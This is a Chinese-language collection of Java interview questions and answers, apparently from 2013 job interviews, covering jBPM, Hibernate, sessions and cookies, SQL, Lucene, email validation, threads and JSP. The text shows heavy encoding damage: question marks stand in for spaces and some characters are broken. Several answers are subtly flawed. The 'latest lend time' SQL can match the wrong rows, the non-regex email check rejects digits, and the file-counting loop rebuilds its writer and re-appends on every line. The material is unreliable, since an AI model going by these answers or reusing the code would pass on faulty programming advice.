java相关问题
問題1:JPBM的常用接口有哪些? ?
??
ProcessEngine工作流的流程引擎對象 ?
1、RepositoryService ? ?流程資源服務(wù)的接口。 ??
? ?作用: ? ?提供對流程定義的部署、查詢、刪除等操作。 ??
2、ExecutionService ? ? 流程執(zhí)行服務(wù)的接口。 ??
? ?作用: ? ?提供啟動流程實(shí)例、“執(zhí)行”推進(jìn),設(shè)置流程實(shí)例變量等操作。 ??
3、ManagementService ? 流程管理控制服務(wù)接口。 ??
? ?作用: ? ?提供異步工作相關(guān)的執(zhí)行和查詢操作。 ??
4、TaskService ? ? ? ? ?人工任務(wù)服務(wù)接口。 ??
? ?作用: ? ?提供對任務(wù)(Task)的創(chuàng)建、提交、查詢、保存、刪除等操作。 ??
5、HistoryService ? ? ? 流程歷史服務(wù)的接口。 ??
? ?作用: ? ?提供對任務(wù)的管理操作,提供對流程歷史庫中歷史流程實(shí)例、歷史活動實(shí)例等記錄的查詢操作。還提供諸如某個(gè)流程定義中所有活動的平均持續(xù)時(shí)間、某個(gè)流程定義中某轉(zhuǎn)移的結(jié)果次數(shù)等數(shù)據(jù)分析服務(wù)。 ??
6、IdentityService ? ? ?身份認(rèn)證服務(wù)的接口。 ??
? ?作用: ? ?提供對流程用戶、用戶組以及組成員關(guān)系的相關(guān)服務(wù)。 ??
??
問題2:Hibernate的核心接口有哪些? ?
?
Hibernate的核心接口一共有5個(gè),分別為:Session、SessionFactory、Transaction、Query和Configuration。 ?
這5個(gè)核心接口在任何開發(fā)中都會用到。通過這些接口,不僅可以對持久化對象進(jìn)行存取,還能夠進(jìn)行事務(wù)控制。 ?
?
問題3:Hibernate的緩存有哪些? ?
?
Session是一級緩存,SessionFactry是二級緩存。 ?
SessionFactory是Hibernate的概念,對應(yīng)一個(gè)數(shù)據(jù)存儲源(如MySql,SQLServer,Oracle) ?
看你項(xiàng)目中用的哪個(gè)數(shù)據(jù)庫,可以有多個(gè),在XML文件中配置,由Configuration創(chuàng)建 ?
SessionFactory可以創(chuàng)建Session,Session用來控制事務(wù)以及增刪改查操作 ?
SessionFactory是線程安全的,多線程可以同時(shí)訪問它,創(chuàng)建一次就行 ?
Session是線程不安全的,代表對數(shù)據(jù)庫一次操作。一般每一次對數(shù)據(jù)庫的操作都要創(chuàng)建一個(gè)Session,用之后關(guān)閉 ?
?
1、內(nèi)部緩存存在Hibernate中又叫一級緩存,屬于應(yīng)用事務(wù)級緩存 ?
2、二級緩存: ?
a) 應(yīng)用級緩存 ?
b) 分布式緩存,比如使用Memcached可作為Hibernate二級分布式緩存 ?
條件:數(shù)據(jù)不會被第三方修改、數(shù)據(jù)大小在可接受范圍、數(shù)據(jù)更新頻率低、同一數(shù)據(jù)被系統(tǒng)頻繁使用、非關(guān)鍵數(shù)據(jù) ?
c) 第三方緩存的實(shí)現(xiàn) ?
?
問題4:Hibernate中g(shù)et和load有什么區(qū)別? ?
?
不存在對應(yīng)記錄時(shí)表現(xiàn)不一樣 ?
load返回的是代理對象(javassist.jar生成二進(jìn)制碼),等到真正用到對象的內(nèi)容才會發(fā)出SQL語句 ?
get直接從數(shù)據(jù)庫加載,不會延遲 ?
get不支持懶加載 ,load支持 ?
get查詢數(shù)據(jù)庫不存在的記錄時(shí)返回null ,load就報(bào)異常了 ?
?
問題5:什么是Session? ?
?
Session 是客戶端與服務(wù)器之間的會話,用來保存用戶的信息。 ?
在編程里是會話的意思 ?
Session 對象存儲特定用戶會話所需的信息。這樣,當(dāng)用戶在應(yīng)用程序的 Web 頁之間跳轉(zhuǎn)時(shí),存儲在 Session 對象中的變量將不會丟失,而是在整個(gè)用戶會話中一直存在下去 ?
當(dāng)用戶請求來自應(yīng)用程序的 Web 頁時(shí),如果該用戶還沒有會話,則 Web 服務(wù)器將自動創(chuàng)建一個(gè) Session 對象。當(dāng)會話過期或被放棄后,服務(wù)器將終止該會話 ?
?
問題6:Session和Cookie區(qū)別? ?
??
Session是服務(wù)器端緩存,Cookie是客戶端緩存。 ?
Cookie機(jī)制采用的是在客戶端保持狀態(tài)的方案,而Session機(jī)制采用的是在服務(wù)器端保持狀態(tài)的方案 ?
?
2013年8月7日:天懋?dāng)?shù)碼、圖創(chuàng)科技 ?
??
問題1:書籍表,借書表,查詢借書表每一本書的最新借書時(shí)間 ?
??
書籍表 Book ? ?表結(jié)構(gòu):主鍵ID、書名Name ?
借書表 Lend ? ?表結(jié)構(gòu):主鍵ID、外鍵BookID、借書時(shí)間Time ?
要求精確到秒 ?
??
/* 查詢lend表,通過bookId分組,查出每組中時(shí)間最大的,時(shí)間最大的代表最新的*/ ?
SELECT max(l.time) ??
FROM lend as l ??
GROUP BY l.bookId; ?
??
/* 查詢book表和lend表 */ ?
SELECT b.name as "書名", l.time as "最新借出時(shí)間" ??
FROM book as b , lend as l ??
WHERE l.bookId = b.id ??
AND ??
l.time IN ??
( ?
SELECT max(l.time) ??
FROM lend as l ??
GROUP BY l.bookId ?
); ?
??
問題2:WebService相關(guān) ?
??
概念: ?
Web Service 是一項(xiàng)新技術(shù),能使得運(yùn)行在不同機(jī)器上的不同應(yīng)用無須借助附加的、專門的第三方軟件或硬件,就可相互交換數(shù)據(jù)或集成。依據(jù)Web Service 規(guī)范實(shí)施的應(yīng)用之間,無論它們所使用的語言、平臺或內(nèi)部協(xié)議是什么,都可以相互交換數(shù)據(jù)。 ?
通俗的講,Web Service 就是一個(gè)部署在Web 服務(wù)器上的一個(gè)應(yīng)用程序,它向外界暴露出一個(gè)能夠通過Web 進(jìn)行調(diào)用的API。 ?
這就是說,你能夠用編程的方法通過Web 來調(diào)用這個(gè)應(yīng)用程序。我們把調(diào)用這個(gè)Web Service 的應(yīng)用程序叫做客戶端,發(fā)布這個(gè)web 服務(wù)的機(jī)器稱為Web Service 服務(wù)器。 ?
??
優(yōu)勢: ?
異構(gòu)平臺的互通性 ?
更廣泛的軟件復(fù)用 ?
成本低、可讀性強(qiáng)、應(yīng)用范圍廣 ?
迅捷的軟件發(fā)行方式 ?
??
WSDL:WebService服務(wù)描述語言 ?
獲取WEB的發(fā)布信息是通過wsimport來解析wsdl文件得到Java類來實(shí)現(xiàn)的。無論是獲取發(fā)布的服務(wù),還是調(diào)用發(fā)布的服務(wù),都需要參考wsdl文件 ?
??
CXF框架概念介紹 ?
Apache CXF 是一個(gè)開源的Services框架,CXF 幫助您來構(gòu)建和開發(fā) Services。 ?
這些 Services 可以支持多種協(xié)議,比如:SOAP1.1/1.2、POST/HTTP、RESTful、HTTP,CXF大大簡化了Service,可以天然地和 Spring 進(jìn)行無縫集成。 ?
??
問題3:Lucene相關(guān) ?
??
對索引庫的操作可以分為兩種:管理與查詢 ?
??
管理索引庫使用IndexWriter,從索引庫中查詢使用IndexSearcher。 ?
Lucene的數(shù)據(jù)結(jié)構(gòu)為Document文檔與Field字段 ?
Document代表一條數(shù)據(jù),Field代表數(shù)據(jù)中的一個(gè)屬性。 ?
一個(gè)Document中有多個(gè)Field,Field的值為String型,因?yàn)長ucene只處理文本 ?
我們只需要把在我們的程序中的對象轉(zhuǎn)成Document,就可以交給Lucene管理了,搜索的結(jié)果中的數(shù)據(jù)列表也是Document的集合 ?
??
中文分詞器之一:IKAnalyzer ?
格式器對象Formatter ?
索引庫數(shù)據(jù)查看器(lukeall-1.0.0.jar) ?
??
IndexSearcher:是用來在建立好的索引上進(jìn)行搜索 ?
QueryParser:QueryParser 是查詢操作的解析類, 要告訴QueryParser對哪個(gè)字段進(jìn)行查詢, 用什么樣的分詞器,進(jìn)行分詞,最后返回的是一個(gè)Query對象, 交給IndexSearcher做查詢操作 ?
Term:是搜索的基本單元, Term對象有兩個(gè)String類型的域組成:字段的名稱和字段的值, 被分詞建立索引的Field就是Term ?
TopDocs: ?
int totalHits ?Expert: The total number of hits for the query. ?
ScoreDoc[] scoreDocs Expert: The top hits for the query ?
??
創(chuàng)建索引API分析 ?
Directory: 類代表一個(gè)Lucene索引的位置,FSDirectory:它表示一個(gè)存儲在文件系統(tǒng)中的索引的位置 ?
Analyzer類是一個(gè)抽象類, 它有多個(gè)實(shí)現(xiàn),在一個(gè)文檔被入索引庫之前,首先需要對文檔內(nèi)容進(jìn)行分詞處理,針對不同的語言和應(yīng)用需要選擇適合的 Analyzer。Analyzer 把分詞后的內(nèi)容交給 IndexWriter 來建立索引 ?
IndexWriter:是創(chuàng)建索引和維護(hù)索引的中心組件, 這個(gè)類創(chuàng)建一個(gè)新的索引并且添加文檔到一個(gè)已有的索引中。IndexWriter只負(fù)責(zé)索引庫的更新(刪、更新、插入),不負(fù)責(zé)查詢 ?
Document:由多個(gè)字段(Field)組成,一個(gè)Field代表與這個(gè)文檔相關(guān)的元數(shù)據(jù)。如作者、標(biāo)題、主題等等,分別做為文檔的字段索引和存儲。add(Fieldable field)添加一個(gè)字段(Field)到Document ?
??
Jar包至少有: ?
? ? lucene-core-3.0.1.jar(核心包) ?
? ? contrib\analyzers\common\lucene-analyzers-3.0.1.jar(分詞器) ?
? ? contrib\highlighter\lucene-highlighter-3.0.1.jar(高亮) ?
? ? contrib\memory\lucene-memory-3.0.1.jar(高亮) ?
??
全文檢索與數(shù)據(jù)查詢的區(qū)別 ??
相關(guān)度排序: 查出的結(jié)果沒有相關(guān)度排序,不知道我想要的結(jié)果在哪一頁。我們在使用百度搜索時(shí),一般不需要翻頁,為什么?因?yàn)榘俣茸隽讼嚓P(guān)度排序:為每一條結(jié)果打一個(gè)分?jǐn)?shù),這條結(jié)果越符合搜索條件,得分就越高,叫做相關(guān)度得分,結(jié)果列表會按照這個(gè)分?jǐn)?shù)由高到低排列,所以第1頁的結(jié)果就是我們最想要的結(jié)果 ?
查詢的方式: 全文檢索的速度大大快于SQL的like搜索的速度。這是因?yàn)椴樵兎绞讲煌斐傻?#xff0c;以查字典舉例:數(shù)據(jù)庫的like就是一頁一頁的翻,一行一行的找,而全文檢索是先查目錄,得到結(jié)果所在的頁碼,再直接翻到這一頁 ?
定位不一樣:一個(gè)更側(cè)重高效、安全的存儲、一個(gè)是側(cè)重準(zhǔn)確、方便的搜索 ?
??
問題4:要求在不允許引入第三個(gè)變量的情況下交換 var a=1; ?var b=2; ?
??
方法一: ?
a=a+b; ? ?b=a-b; ? ?a=a-b; ?
輸出a,b可以發(fā)現(xiàn)兩值已經(jīng)交換 ?
??
方法二: ?
a=a^b; ? ?b=a^b; ? ?a=a^b; ?
??
問題5:使用正則表達(dá)式驗(yàn)證郵箱 ?
??
正則表達(dá)式(regular expression, 常常縮寫為RegExp) 是一種用特殊符號編寫的模式,描述一個(gè)或多個(gè)文本字符串。使用正則表達(dá)式匹配文本的模式,這樣腳本就可以輕松的識別和操作文本。 ?
其實(shí),正則表達(dá)式是值得大家花時(shí)間學(xué)習(xí)的。正則表達(dá)式不僅在JavaScript 中有用,在其他許多地方也可以使用正則表達(dá)式,例如其他編程語言(比如Perl,Java,C#,Python 和PHP ),Apache 配置文件以及BBEdit 和TextMate 等文本編輯器。甚至Adobe Dreamweaver 和Microsoft Word( 在一定程度上) 使用正則表達(dá)式也可以實(shí)現(xiàn)更強(qiáng)大的搜索和替換。 ??
??
下面是一個(gè)驗(yàn)證電子郵件的正則表達(dá)式 : ?
var re = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/ ; ??
??
下面我們開始剖析這個(gè)正則表達(dá)式: ?
re 是一個(gè)變量, 用來存儲右邊的正則表達(dá)式,在JavaScript中,聲明變量使用Var 關(guān)鍵字。 ?
正則表達(dá)式的閱讀順序是從左向右的 ?
正則表達(dá)式總是以( / ) 開頭和結(jié)尾,斜杠之間的所有內(nèi)容都是正則表達(dá)式的組成部分 ?
脫字符( ^ ) 表示我們要使用這個(gè)表達(dá)式來檢查以特定字符串開頭的字符串。如果去掉脫字符,那么即使字符串開頭有一堆垃圾字符,電子郵件地址也可能被認(rèn)為是有效的。 ?
表達(dá)式\w 表示任意單一字符,包括a~z 、A~Z 、0~9 或下劃線。電子郵件必須這些字符之一開頭 ?
加號+ 表示我們要尋找前面條目的一次或多次出現(xiàn) ?
圓括號( ) 表示一個(gè)組,這意味著后面要引用圓括號中的所有內(nèi)容,所以現(xiàn)在將它們放在一個(gè)組中 ?
方括號[ ] 用來表示可以出現(xiàn)其中的任意一個(gè)字符。在這個(gè)示例中,方括號內(nèi)包含字符\.- 。我們希望允許用戶輸入點(diǎn)號或連字符,但是點(diǎn)號對于正則表達(dá)式有特殊的意義,所以需要在它前面加上反斜杠\, 在特殊字符前加反斜杠表示“對字符轉(zhuǎn)義”,經(jīng)轉(zhuǎn)義后的字符表示其本身意義。因?yàn)橛蟹嚼ㄌ?#xff0c;輸入字符串在這個(gè)位置可以有一個(gè)點(diǎn)號或一個(gè)連字符,但是兩種不能同時(shí)存在 ?
問號?表示前面的條目可以出現(xiàn)一次或不出現(xiàn)。所以電子郵件地址的第一部分中可以有一個(gè)點(diǎn)號或一個(gè)連字符,也可以沒有 ?
在?后面,再次使用\w+ ,表示點(diǎn)號或連字符后面必須有其他字符 ?
在()后面出現(xiàn)的* 號,表示前面的條目可以出現(xiàn)零次或多次。所以圓括號中的內(nèi)容可以出現(xiàn)零次或多次 ?
@ 字符代表其本身,沒有任何其他意義,這個(gè)字符位于電子郵件地址和域名之間 ?
@ 字符后再次出現(xiàn)\w+ ,表示@ 后必須出現(xiàn)字符。在此之后,再次出現(xiàn)([\.-]?\w+)*, 表示電子郵件地址的后綴中允許出現(xiàn)點(diǎn)號或連字符 ?
然后,在一對圓括號中建立另一個(gè)組(\.\w{2,3}), 表示我們希望找到一個(gè)點(diǎn)號,后面跟一些字符。在這個(gè)示例中,花括號中的數(shù)字表示前面的條目可以出現(xiàn)2 到3 次。在這個(gè)組的后面是一個(gè)+ 號,表示前面的條目(這個(gè)組)必須出現(xiàn)一次或多次。這會匹配.com 或.edu 之類的,也與ox.ac.uk 匹配 ?
最后,正則表達(dá)式的末尾是一個(gè)美元符號$ ,表示匹配的字符串必須在這里結(jié)束。斜杠結(jié)束正則表達(dá)式 ?
??
問題6:不使用正則表達(dá)式驗(yàn)證郵箱 ?
??
< script type="text/javascript"> ?
? ? document.getElementById('email').onblur = function() { ?
? ? ? ? var value = this.value; ?
? ? ? ? if (typeof value == 'undefined') { //未定義 ?
? ? ? ? ? ? alert('Email不能為空'); ?
? ? ? ? ? ? return false; ?
? ? ? ? } else if (value.trim() == '') { //空值 ?
? ? ? ? ? ? alert('Email不能為空'); ?
? ? ? ? ? ? return false; ?
? ? ? ? } else if (value.indexOf('@') == -1) { //不包含@ ?
? ? ? ? ? ? alert('Email必須包含@,如abc@qq.com'); ?
? ? ? ? ? ? return false; ?
? ? ? ? } else if (value.indexOf('.') == -1) { //不包含. ?
? ? ? ? ? ? alert('Email必須包含.,如abc@qq.com'); ?
? ? ? ? ? ? return false; ?
? ? ? ? } else { //包含@與. ?
? ? ? ? ? ? //以@或.開頭@qq.com 和 .@qq.com非法 ?
? ? ? ? ? ? if (value.indexOf('@') == 0 || value.indexOf('.') == 0) { ?
? ? ? ? ? ? ? ? alert('Email只能以字母開頭'); ?
? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? } else if (value.lastIndexOf('@') == value.length - 1 ?
? ? ? ? ? ? ? ? ? ? || value.lastIndexOf('.') == value.length - 1) { ?
? ? ? ? ? ? ? ? ? ? //以@或.結(jié)束 ?a@qq.com@ 和a@qq.com.非法 ?
? ? ? ? ? ? ? ? alert('Email只能以字母結(jié)束'); ?
? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? } else { //包含@與.且不以它們結(jié)束 ?
? ? ? ? ? ? ? ? var count_at = 0; ?
? ? ? ? ? ? ? ? //多個(gè)@ ?a@b@qq.com非法 ?
? ? ? ? ? ? ? ? if (value.indexOf('@') != value.lastIndexOf('@')) { ?
? ? ? ? ? ? ? ? ? ? alert('Email只能包含一個(gè)@,如abc@qq.com'); ?
? ? ? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? var beforeAt = value.substr(0, value.indexOf('@')); ?
? ? ? ? ? ? ? ? if (beforeAt.indexOf('.') != -1) { //a.b@qq.com 非法 ?
? ? ? ? ? ? ? ? ? ? alert('Email的@前必須全部為字母'); ?
? ? ? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? ? ? } ?
??
? ? ? ? ? ? //刪除@,.替換@,反正替換后按.分隔時(shí)a@.拼接,導(dǎo)致@.之間無法判定為空 ?
? ? ? ? ? ? ? ? value = value.replace('@', '.'); ?
? ? ? ? ? ? ? ? var splits = value.split('.'); //按.分隔 ?
? ? ? ? ? ? ? ? var a_z = 'abcdefghijklmnopqrstuvwxyz'; //僅字母 ?
? ? ? ? ? ? ? ? for ( var i in splits) { ??
//對點(diǎn)分隔后的字符進(jìn)行單字切割并匹配a-z ?
? ? ? ? ? ? ? ? ? ? if (splits[i] == '') { ?
? ? ? ? ? ? ? ? ? ? ? ? alert('Email的@.或..不能連接'); ?
? ? ? ? ? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? var words = splits[i].split(""); //單字切割 ?
? ? ? ? ? ? ? ? ? ? for ( var w in words) { //對每個(gè)單字進(jìn)行驗(yàn)證 ?
? ? ? ? ? ? ? ? ? ? ? ? if (a_z.indexOf(words[w].toLowerCase()) == -1) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? alert('Email只能包含字母!'); ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? ? ? ? ? ? ? }}}}} ?
? ? ? ? return true; } ?
< /script> ?
??
2013年8月8日:圖創(chuàng)科技、進(jìn)易通信技術(shù) ?
??
問題1:使用A、B、C三個(gè)線程,有序的輸出ABCABCABC循環(huán)十次 ?
class A implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? try { ?
? ? ? ? ? ? ? ? ? ? synchronized (a) { ?
? ? ? ? ? ? ? ? ? ? ? ? synchronized (b) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? System.out.print("A"); ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? b.notify(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? ? ? if (i < 9) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? a.wait(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? } catch (Exception e) { ?
? ? ? ? ? ? ? ? ? ? e.printStackTrace(); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
??
? ? class B implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? try { ?
? ? ? ? ? ? ? ? ? ? synchronized (b) { ?
? ? ? ? ? ? ? ? ? ? ? ? synchronized (c) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? System.out.print("B"); ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? c.notify(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? ? ? if (i < 9) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? b.wait(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? } catch (Exception e) { ?
? ? ? ? ? ? ? ? ? ? e.printStackTrace(); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
??
? ? class C implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? try { ?
? ? ? ? ? ? ? ? ? ? synchronized (c) { ?
? ? ? ? ? ? ? ? ? ? ? ? synchronized (a) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? System.out.print("C"); ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? a.notify(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? ? ? if (i < 9) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? c.wait(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? } catch (Exception e) { ?
? ? ? ? ? ? ? ? ? ? e.printStackTrace(); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
??
? ? public static Object a = new Object(); ?
? ? public static Object b = new Object(); ?
? ? public static Object c = new Object(); ?
??
? ? public static void main(String[] args) throws Exception { ?
? ? ? ? TestThread t = new TestThread(); ?
??
? ? ? ? Thread a = new Thread(t.new A()); ?
? ? ? ? Thread b = new Thread(t.new B()); ?
? ? ? ? Thread c = new Thread(t.new C()); ?
??
? ? ? ? a.start(); ?
? ? ? ? Thread.sleep(1); ?
? ? ? ? b.start(); ?
? ? ? ? Thread.sleep(1); ?
? ? ? ? c.start(); ?
? ? } ?
??
問題2:讀取文本信息,讀取指定信息,比如“姓名:陳小影”里的陳小影,以及統(tǒng)計(jì)數(shù)據(jù) ?
??
用緩沖流的readline(),一次讀一行,然后截取冒號后面的,再加上字符串截取就行了subString(),最后再拼起來。 ?
?
代碼: ?
InputStreamReader read = new InputStreamReader(new FileInputStream(file), "UTF-8"); ?
BufferedReader reader = new BufferedReader(read); ?
??
代碼: ?
public static void main(String[] args) throws IOException ?
? ? ?{ ?
? ? ? FileReader is = new FileReader("D:/input.txt.txt"); ?
? ? ? BufferedReader br = new BufferedReader(is); ?
? ? ? StringBuffer buffer = new StringBuffer(); ?
? ? ? String test = ""; ?
??
? ? ? while((test = br.readLine()) != null){ ?
? ? ? ?int num = numString(test,"java"); ?
? ? ? ?PrintWriter ?os = new PrintWriter ("D:/result.txt.txt"); ?
? ? ? ?buffer.append("input.txt文件中,包含"); ?
? ? ? ?buffer.append(num); ?
? ? ? ?buffer.append("個(gè)java字符串"); ?
? ? ? ?os.write(buffer.toString()); ?
? ? ? ?os.close(); ??
? ? ? } ?
? ? ?} ?
? ? ? ?
? ? ?public static int numString(String s , String str) { ?
? ? ? ? ? ? int i = 0 ; ? ? //指定的開始搜索的索引 ?
? ? ? ? ? ? int index = 0 ; //查找到的第一個(gè)索引 ?
? ? ? ? ? ? int num = 0 ; ? ? ? //字符串出現(xiàn)的次數(shù) ?
??
? ? ? ? ? ? while(index != -1) { ?
? ? ? ? ? ? //indexOf(String str, int fromIndex) ??
? ? ? ? ? ? //返回指定子字符串在此字符串中第一次出現(xiàn)處的索引,從指定的索引開始。 ?
? ? ? ? ? ? ? ? index = s.indexOf(str,i) ; ?
? ? ? ? ? ? ? ? if(index != -1) ?
? ? ? ? ? ? ? ? ? ? num ++ ; ?
? ? ? ? ? ? ? ? i = index + str.length() ; ?
? ? ? ? ? ? } ?
? ? ? ? ? ? return num ; ?
? ? ? ? } ?
? ? } ?
??
問題3:JSP的九大內(nèi)置對象和四個(gè)作用域 ?
??
九大內(nèi)置對象: ?
request ? ? ? 請求對象 ? ? ? ? 用戶端請求,此請求會包含來自GET/POST請求的參數(shù) 作用域 Request ?
response ? ? ?響應(yīng)對象 ? ? ? ? ?網(wǎng)頁傳回用戶端的回應(yīng) ? ? ? ? ? ? ? ? ? ? ? ? ?作用域 Page ?
pageContext ? 頁面上下文對象 ? 網(wǎng)頁的屬性在這里管理 ? ? ? ? ? ? ? ? ? ? ? ? ?作用域 Page ?
session ? ? ? 會話對象 ? ? ? ? ?與請求有關(guān)的會話期 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 作用域 Session ?
application ? 應(yīng)用程序?qū)ο?? ?servlet正在執(zhí)行的內(nèi)容 ? ? ? ? ? ? ? ? ? ? ?作用域 Application ?
out ? ? ? ? ? 輸出對象 ? ? ? ? ?用來傳送回應(yīng)的輸出 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 作用域 Page ?
config ? ? ? ?配置對象 ? ? ? ? ?servlet的構(gòu)架部件 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?作用域 Page ?
page ? ? ? ? ?頁面對象 ? ? ? ? ?JSP網(wǎng)頁本身 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 作用域 Page ?
exception ? ? 例外對象 ? ? ? ? ?針對錯誤網(wǎng)頁,未捕捉的例外 ? ? ? ? ? ? ? ? ? ? ? 作用域 page ?
??
四個(gè)作用域:page、request、session、application ?
Page ? ? ? ? ? ?范圍是當(dāng)前頁面 ?
Request ? ? 范圍是當(dāng)前請求周期(從請求發(fā)起到服務(wù)器處理結(jié)束,返回響應(yīng)的整個(gè)過程) ?
Session ? ? 范圍是當(dāng)前會話(用戶打開瀏覽器開始,到用戶關(guān)閉瀏覽器并且會話失效的整個(gè)過程) ?
Application 范圍是整個(gè)應(yīng)用,從應(yīng)用啟動到應(yīng)用結(jié)束 ?
??
問題4:FileWriter和PrintWriter有什么區(qū)別? ?
??
在寫文件時(shí)我認(rèn)為: ?
? PrintWriter ?out ?= ?new ?PrintWriter( ? ??
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? new ?BufferedWriter( ? ??
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? new ?FileWriter(filename))); ?
比較好點(diǎn) ?
??
PrintWriter ? ? 提供print系方法 ?
BufferedWriter ?提供緩沖,用以加速 ?
FileWriter ? ? ?用于寫文件 ?
??
FileWriter類/FileReader類: ??
用于對字符文件的讀寫的便捷的結(jié)點(diǎn)流類 ?
使用時(shí)最好用BufferedReader/BufferedWriter對其進(jìn)行包裝。 ?
??
PrintStream類(如System.out): ?
格式化打印輸出字節(jié)數(shù)據(jù)的流,該類提供的print[ln]()方法可格式化打印輸出各種類型的數(shù)據(jù)(包括類對象) ?
它使用平臺的默認(rèn)字符編碼將所有字符都轉(zhuǎn)換為字節(jié)打印輸出(寫入) ?
??
在需要寫入字符而不是寫入字節(jié)的情況下,應(yīng)該使用PrintWriter類 ?
??
問題5:簡述JSP和Servlet的關(guān)系? ?
??
JSP---Java Server Pages ?
擁有Servlet的特性與優(yōu)點(diǎn)(本身就是一個(gè)Servlet) ?
直接在HTML中內(nèi)嵌JSP代碼 ?
只有當(dāng)客戶端第一次請求JSP時(shí),才需要將其轉(zhuǎn)換、編譯Servlet代碼 ?
??
優(yōu)點(diǎn): ?
優(yōu)良的性能 ? 優(yōu)于CGI,PHP,ASP ?
平臺無關(guān)性 ? 操作系統(tǒng)無關(guān),Web服務(wù)器無關(guān) ?
可擴(kuò)展性 ? ?標(biāo)簽庫Tag的擴(kuò)展機(jī)制,簡化頁面開發(fā)——Taglib uri ?
??
Servlet是在Web服務(wù)器上的Java程序,它提供服務(wù),由它來傳遞給你html的格式 ?
Servlet是服務(wù)器小小的Java應(yīng)用程序 ?
用來完成B/S架構(gòu)下,客戶端請求的響應(yīng)處理 ?
平臺獨(dú)立,性能優(yōu)良,能以線程方式運(yùn)行 ?
Servlet API為Servlet提供了統(tǒng)一的編程接口 ?
Servlet一般在容器中運(yùn)行(必須部署在Servlet容器,才能響應(yīng)客戶端的請求,對外提供服務(wù),要對外統(tǒng)一接口,由容器來調(diào)用) ?
??
JSP在被第1次訪問的時(shí)候 ?會被轉(zhuǎn)義編譯成類Servlet也可以說JSP就是一個(gè)Servlet ?
??
2者的區(qū)別:JSP是Html中內(nèi)嵌Java代碼;Servlet把Html代碼和Java代碼分離開 ?
? ? ? ? ? ? JSP側(cè)重與顯示;Servlet側(cè)重與控制邏輯 ?
??
問題6:簡述JAVA設(shè)計(jì)模式的概念? ?
??
設(shè)計(jì)模式(Design Pattern)是一套被反復(fù)使用、多數(shù)人知曉的、經(jīng)過分類編目的、代碼設(shè)計(jì)經(jīng)驗(yàn)的總結(jié)。使用設(shè)計(jì)模式是為了可重用代碼、讓代碼更容易被他人理解、保證代碼可靠性。 ??
?
毫無疑問,設(shè)計(jì)模式于己于他人于系統(tǒng)都是多贏的,設(shè)計(jì)模式使代碼編制真正工程化,設(shè)計(jì)模式是軟件工程的基石,如同大廈的一塊塊磚石一樣。 ?
??
問題7:常用的數(shù)據(jù)庫優(yōu)化方法有哪些? ?
??
建立索引 ?
導(dǎo)出歷史數(shù)據(jù) ??
定期整理索引(sp_msforeachtable ? 'dbcc ? dbreindex("?")' ? ) ??
少用like,查詢前檢查條件是不是完整,如果完整就用 = 替代like查詢,不要不檢查條件完整不完整全部用like來 ?
??
問題8:什么是動態(tài)游標(biāo)?什么是靜態(tài)游標(biāo)? ?
??
靜態(tài)游標(biāo)是以游標(biāo)打開時(shí)刻的當(dāng)時(shí)狀態(tài)顯示結(jié)果集的游標(biāo)。靜態(tài)游標(biāo)在游標(biāo)打開時(shí)不反映對基礎(chǔ)數(shù)據(jù)進(jìn)行的更新、刪除或插入。有時(shí)稱它們?yōu)榭煺沼螛?biāo)。 ?
??
動態(tài)游標(biāo)是可以在游標(biāo)打開時(shí)反映對基礎(chǔ)數(shù)據(jù)進(jìn)行的修改的游標(biāo)。用戶所做的更新、刪除和插入在動態(tài)游標(biāo)中加以反映。 ?
??
問題9:為什么要用Struts2框架? ?
??
